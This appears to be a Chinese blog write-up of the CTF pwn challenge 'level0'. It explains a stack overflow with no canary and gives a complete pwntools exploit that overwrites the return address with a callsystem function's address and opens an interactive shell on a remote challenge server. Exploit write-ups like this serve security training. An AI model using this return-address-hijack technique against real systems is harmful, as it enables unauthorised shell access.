level0

作者: 常向阳_ | 来源:发表于2019-08-05 17:05 被阅读0次
image.png

0x00 file和checksec

image.png

0x01 ida打开

image.png
  • 很明显的溢出
  • 而且没有开启canary保护,可以直接溢出控制返回地址
  • 查看ida,有一个callsystem函数
    image.png
  • 所以思路就是构造payload,控制返回地址为0x400596即可

0x02 完整exp

from pwn import *

local=0
pc='./level0'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 59243]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    system_bin_sh_addr = 0x400596
    payload = 'A'*0x80
    payload += 'BBBBBBBB'
    payload += p64(system_bin_sh_addr)
    sl(payload)
    p.interactive()

0x03 结果

image.png

相关文章

  • DOM事件

    历史 level0 onclick,onerror,onload,onmouseenterlevel1 1998,...

  • level0

    0x00 file和checksec 0x01 ida打开 很明显的溢出 而且没有开启canary保护,可以直接溢...

  • level0

    checksec 一波,只开了NX 再IDA看一下程序 ,栈溢出,再找一找有没有可用的函数 发现了这个 exp:

  • oracle管理(十五)RMAN备份

    2.rman备份: level0:fulllevel1:Cumulativelevel1:Differential...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • [pwn] [XMAN]level0

    0x00 已知条件 nc pwn2.jarvisoj.com 9881 给了远端url和端口,nc过去发现输出了一...

  • [JarvisOj](pwn)level0

    简介 : 地址 : nc pwn2.jarvisoj.com 9881程序 : level0.b9ded3801d...

  • 【pwn学习】buuctf pwn题目(二)

    下班了继续做 level0 先checksec一下 很简单的道理就是vulner函数里面存在漏洞call到call...

  • 从leveldb中学编码技巧(5)

    在读取一个key的值时,leveldb会按照如下顺序查找这个key: 在memtable中查询 在level0中查...

  • level0攻防世界pwn

    checksec然后试运行 放入64位IDA,F5大法 发现callsystem函数 找到callsystem的地...

网友评论

    本文标题:level0

    本文链接:https://www.haomeiwen.com/subject/wkamdctx.html